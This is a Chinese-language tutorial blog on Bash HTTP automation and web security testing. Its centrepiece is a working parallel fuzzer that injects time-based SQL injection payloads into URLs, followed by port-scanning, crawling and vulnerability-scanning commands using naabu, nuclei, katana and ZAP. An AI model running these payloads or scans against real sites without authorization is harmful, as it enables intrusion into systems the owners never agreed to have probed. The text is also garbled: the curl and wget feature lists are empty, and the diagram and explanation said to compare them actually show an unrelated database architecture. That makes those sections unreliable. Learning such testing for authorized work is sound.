Bash 指令碼在自動化 HTTP 請求和網頁應用程式測試方面,提供簡潔且強大的功能。本文將示範如何利用 Bash 搭配 curl 和 parallel 等工具,建構自動化 HTTP 請求指令碼,並應用於 SQL 注入測試。同時,我們也會探討如何使用 ProjectDiscovery 工具集,例如 nuclei、katana、naabu 和 httpx,搭配 OWASP ZAP 進行更深入的網頁應用程式安全測試,並提供實際案例說明如何整合這些工具。此外,文章也比較了 curl 和 wget 的特性與適用場景,讓讀者能根據實際需求選擇合適的工具。最後,我們將分享一些進階技巧,例如何串聯不同工具的輸出,以滿足更複雜的測試需求,並提供一些個人獨特的見解和建議。

自動化 HTTP 要求於 Bash

在網頁應用程式測試中,自動化 HTTP 要求是一項重要技能。本文將探討如何使用 Bash 自動化 HTTP 要求,並透過具體案例來說明其實際應用。

環境準備

首先,我們需要確保系統中已安裝必要的工具,如 curlparallel。這些工具將用於傳送 HTTP 要求和平行處理 URL。

# 確認 curl 和 parallel 是否已安裝
check_dependencies() {
    local commands=("curl" "parallel")
    for cmd in "${commands[@]}"; do
        if ! command -v $cmd &> /dev/null; then
            echo "$cmd could not be found. Please install it."
            exit 1
        fi
    done
}

內容解密:

  • check_dependencies 函式用於檢查系統中是否安裝了必要的命令列工具。這裡我們檢查了 curlparallel
  • 若某個命令未安裝,則會輸出錯誤訊息並離開指令碼。
  • command -v $cmd &> /dev/null 用於檢查命令是否存在,若存在則傳回命令的完整路徑,否則傳回空值。

指令碼使用說明

接下來,我們定義一個函式來顯示指令碼的使用說明。

print_usage() {
    echo "Usage: $0 -u URL -c COOKIE_HEADER"
    echo " $0 -f URL_FILE -c COOKIE_HEADER"
    echo "URL must contain 'FUZZ' where payloads should be inserted."
}

內容解密:

  • print_usage 函式用於顯示指令碼的使用方式。
  • 指令碼支援兩種模式:直接指定 URL 和從檔案中讀取 URL。
  • URL 中必須包含 FUZZ 字串,這是用於插入負載的標記。

SQL 注入測試

接下來,我們定義一個函式來進行 SQL 注入測試。這個函式會接收 URL 和 Cookie 標頭作為引數。

perform_sqli_test() {
    local url=$1
    local cookie_header=$2

    # 檢查 URL 中是否包含 FUZZ
    if [[ $url != *"FUZZ"* ]]; then
        echo "Error: URL must contain 'FUZZ' where payloads should be inserted."
        print_usage
        exit 1
    fi

    # 定義 SQL 注入負載
    local payloads=(
        "(SELECT(0)FROM(SELECT(SLEEP(7)))a)"
        "'XOR(SELECT(0)FROM(SELECT(SLEEP(7)))a)XOR'Z"
        "' AND (SELECT 4800 FROM (SELECT(SLEEP(7)))HoBG)--"
        "if(now()=sysdate(),SLEEP(7),0)"
        "'XOR(if(now()=sysdate(),SLEEP(7),0))XOR'Z"
        "'XOR(SELECT CASE WHEN(1234=1234) THEN SLEEP(7) ELSE 0 END)XOR'Z"
    )

    # 傳遞每個負載並測試 SQL 注入
    for payload in "${payloads[@]}"; do
        start_time=$(date +%s)
        fuzzed_url=${url//FUZZ/$payload}

        # 構建並傳送 HTTP 要求
        if [ -n "$cookie_header" ]; then
            curl -s -o /dev/null --max-time 20 -H "Cookie: $cookie_header" "$fuzzed_url"
        else
            curl -s -o /dev/null --max-time 20 "$fuzzed_url"
        fi

        # 計算請求時間並檢查是否存在 SQL 注入漏洞
        end_time=$(date +%s)
        duration=$((end_time - start_time))
        if ((duration >= 7 && duration <= 16)); then
            echo "Potential time-based SQL injection vulnerability detected on $url with payload: $payload"
            break
        fi
    done
}
export -f perform_sqli_test

內容解密:

  • perform_sqli_test 函式用於測試 URL 是否存在 SQL 注入漏洞。
  • 首先檢查 URL 中是否包含 FUZZ,若不包含則輸出錯誤訊息並離開。
  • 接著定義了一組 SQL 注入負載,並遍歷每個負載進行測試。
  • 使用 curl 命令傳送 HTTP 請求,並計算請求時間。
  • 若請求時間在指定範圍內(大於等於 7 個秒且小於等於 16 個秒),則認為可能存在時間基礎的 SQL 注入漏洞。

處理 URL 清單

接下來,我們定義一個函式來處理 URL 清單。這個函式可以從檔案中讀取 URLs 或直接接收單一 URL。

process_urls() {
    local url_list=$1
    local cookie_header=$2

    if [ -f "$url_list" ]; then
        cat "$url_list" | parallel perform_sqli_test {} "$cookie_header"
    else
        perform_sqli_test "$url_list" "$cookie_header"
    fi
}

內容解密:

  • process_urls 函式用於處理 URLs 清單。
  • url_list 是一個檔案,則使用 parallel 命令平行處理每個 URL。
  • url_list 是單一 URL,則直接呼叫 perform_sqli_test 函式進行測試。

主指令碼邏輯

最後,我們定義主指令碼邏輯來解析命令列引數並呼叫相應的函式。

check_dependencies

while getopts "u:f:c:" opt; do
    case $opt in
        u) URL=$OPTARG ;;
        f) URL_FILE=$OPTARG ;;
        c) COOKIE_HEADER=$OPTARG ;;
        *) echo "Invalid option: -$OPTARG" ;;
    esac
done

if [ -z "$URL" ] && [ -z "$URL_FILE" ]; then
    echo "You must provide a URL with -u or a file containing URLs with -f."
    print_usage
    exit 1
fi

if [ -n "$URL" ]; then
    process_urls "$URL" "$COOKIE_HEADER"
elif [ -n "$URL_FILE" ]; then
    process_urls "$URL_FILE" "$COOKIE_HEADER"
fi

內容解密:

  • 主指令碼首先呼叫 check_dependencies 函式確保所有必要的工具已安裝。
  • 接著使用 getopts 命令解析命令列引數。
  • 若未提供有效的 URL 或 URL 檔案,則輸出錯誤訊息並離開。
  • 最終根據提供的引數呼叫 process_urls 函式處理 URLs 清單。

Curl 與 Wget 的比較

在進行網頁應用程式測試時,常用的工具有 curlwget。以下是它們的主要特點:

Curl 特點:
Wget 特點:
@startuml
skinparam backgroundColor #FEFEFE
skinparam componentStyle rectangle

title Bash 自動化 HTTP 請求與網頁應用程式安全測試

package "資料庫架構" {
    package "應用層" {
        component [連線池] as pool
        component [ORM 框架] as orm
    }

    package "資料庫引擎" {
        component [查詢解析器] as parser
        component [優化器] as optimizer
        component [執行引擎] as executor
    }

    package "儲存層" {
        database [主資料庫] as master
        database [讀取副本] as replica
        database [快取層] as cache
    }
}

pool --> orm : 管理連線
orm --> parser : SQL 查詢
parser --> optimizer : 解析樹
optimizer --> executor : 執行計畫
executor --> master : 寫入操作
executor --> replica : 讀取操作
cache --> executor : 快取命中

master --> replica : 資料同步

note right of cache
  Redis/Memcached
  減少資料庫負載
end note

@enduml

內容解密:

  • 此圖示展示了 curlwget 的主要特點及適用場景。
  • Curl:適用於需要與伺服器進行複雜互動的情況,如 API 操作和多種 HTTP 請求方法。
  • Wget:適用於需要大量下載或遞迴下載資料的情況,特別是在不可靠網路環境中。

測試結果

在測試過程中,當某個負載導致回應時間超過預設範圍時,將會顯示成功的 SQL 注入攻擊結果。這樣可以幫助測試人員快速識別潛在的 SQL 注入漏洞。

# 測試結果範例:
Potential time-based SQL injection vulnerability detected on example.com/test?param=FUZZ with payload: "(SELECT(0)FROM(SELECT(SLEEP(7)))a)"

內容解密:

此段落展示瞭如何透過觀察回應時間來識別潛在的 SQL 注入漏洞。當回應時間超過預設範圍時,會顯示相應的錯誤訊息和負載。

與純 Python API 的比較與選擇原則

自動化 HTTP 請求可以考慮使用 Python 的 API 函式庫如 Requests 或 aiohttp ,但 Bash 指令碼在某些情況下有其優勢。Python 的優勢在於更高階別、靈活性強大和跨平台相容性。然而 Bash 指令碼更適合簡單和快速佈署的任務。透過這些選擇原則可以更靈活地選擇合適工具。

Web 應用程式測試與 Bash

在進行網頁應用程式測試時,Bash 提供了強大的工具來執行各種任務。以下,玄貓將介紹如何使用一些高階的網頁應用程式測試工具,這些工具可以在 Bash 命令列中執行。這些工具包括 ProjectDiscovery 的各種工具以及 OWASP ZAP 的命令列掃描。

分析網頁應用程式安全性的 Bash 工具

在網頁應用程式安全性測試中,有一些常見的命令列工具是每位測試人員都應該掌握的。這些工具可以幫助我們更有效地進行安全性測試。以下是一些常見的 ProjectDiscovery 工具:

  • nuclei:一個開源的漏洞掃描器,使用 YAML 範本來識別安全性漏洞。
  • nuclei-templates:nuclei 引擎的範本,用於找到安全性漏洞。
  • subfinder:一個被動子網域名稱列舉工具。
  • httpx:一個 HTTP 工具包,可以傳送探測來識別 HTTP 服務。
  • cvemap:一個命令列介面,用於搜尋 CVE。
  • katana:一個網頁爬蟲和抓取框架。
  • naabu:一個易於與其他 ProjectDiscovery 工具整合的埠掃描器。
  • mapcidr:一個用於對給定子網/ CIDR 範圍執行多種操作的實用程式。

這些工具可以在 GitHub 上找到:https://github.com/projectdiscovery

實際案例:使用 mapcidr 來擴充套件網路地址

$ echo 10.2.10.0/24 | mapcidr -silent

內容解密:

以上命令使用 echo 命令輸出網路地址 10.2.10.0/24,並透過管道 | 將其傳遞給 mapcidr 工具。mapcidr 會將該網路地址擴充套件為單個 IP 地址,並輸出結果。-silent 選項用於抑制顯示標語。

使用 naabu 檢查開放埠

$ echo 10.2.10.1 | naabu -silent -p 80,443,8080

內容解密:

這個命令使用 echo 輸出 IP 地址 10.2.10.1,並透過管道將其傳遞給 naabu 工具。-silent 選項用於抑制顯示標語,-p 選項指定要掃描的埠列表(例如 80, 443, 和 8080)。此命令將輸出開放的埠資訊。

使用 httpx 探測 HTTP 服務

$ echo 10.2.10.1 | naabu -silent -p 80,443,8080 | httpx -silent

內容解密:

這段程式碼首先透過 echo 輸出 IP 地址 10.2.10.1,然後透過管道將其傳遞給 naabu 工具。naabu 探測指定埠(例如 80, 443, 和 8080)的開放狀態並輸出結果,這些結果再透過管道傳遞給 httpx 工具進行 HTTP 探測。-silent選項用於抑制顯示標語。

使用 nuclei 探測已知漏洞

$ echo "http://example.com" | nuclei -t /path/to/templates

內容解密:

這段程式碼首先透過 echo 輸出目標網站 URL(例如 “http://example.com”),然後透過管道將其傳遞給 nuclei 工具。 -t /path/to/templates 引數指定了要使用的範本檔案路徑。此命令將輸出掃描結果,包括已知漏洞和組態錯誤。

使用 katana 巡查網頁

$ katana -u http://example.com -o urls.txt

內容解密:

這段程式碼使用 katana 工具爬取指定網站(例如 “http://example.com”),並將發現的 URL 儲存到檔案 “urls.txt” 中。 -u http://example.com 用來指定目標 URL,-o urls.txt 用來指定輸出檔案。

ZAP 命令列掃描

OWASP ZAP 是一個功能強大的 Web 應用程式漏洞掃描器和瀏覽器代理。我們可以在 Bash 命令列中執行它。

首先,進入終端機並檢視 ZAP 命令列選項:

$ /usr/share/zaproxy/zap.sh -h

內容解密:

以上命令會顯示 ZAP 的所有可用命令列選項。這些選項可以幫助我們進行各種任務,如快速偵察掃描和漏洞掃描。

$ /usr/share/zaproxy/zap.sh -cmd -addoninstall wappalyzer

內容解密:

此命令會安裝 Wappalyzer 外掛,該外掛可以幫助我們識別網站所使用的技術堆積疊。

$ /usr/share/zaproxy/zap.sh -cmd -quickurl http://10.2.10.1:5555/ -quickout $(pwd)/zap.json

內容解密:

這段程式碼執行了一次快速漏洞掃描(zapit scan),並將結果儲存到當前工作目錄中的 JSON 檔案中。-cmd 指定了這是一個命令列操作 -quickurl http://10.2.10.1:5555/ 指定了目標 URL -quickout $(pwd)/zap.json" 指定了輸出檔案路徑。

其他進階技巧

除了上面介紹的基本功能外,ProjectDiscovery 工具還有許多高階功能和選項可以探索。例如,你可以將不同工具的輸出透過管道串聯起來,以達到更複雜的測試需求。例如:

$ echo "http://example.com" | katana -u - | nuclei -t /path/to/templates -dast

內容解密:

這段程式碼首先透過 echo 輸出目標網站 URL(例如 “http://example.com”),然後透過管道將其傳遞給 katana 工具進行爬取並輸出結果,這些結果再透過管道傳遞給 nuclei 工具進行漏洞掃描並輸出掃描結果。

個人獨特見解

玄貓認為 ProjectDiscovery 工具有相當高的靈活性和強大功能,適合用於初步漏洞掃描和資訊收集。然而對於更詳細且深入的測試而言,ZAP 是更好的選擇,因為它提供了更全面且深入的測試功能。透過結合這些工具,玄貓可以更有效地進行網頁應用程式測試。

希望以上介紹能夠幫助讀者更好地理解如何在 Bash 中進行網頁應用程式測試。玄貓期待大家能夠在實際操作中多加練習和探索,以提升自己的技術能力。玄貓也鼓勵大家多分享自己的經驗和心得,玄貓相信只有透過不斷學習和交流才能真正成為一名優秀的安全專家。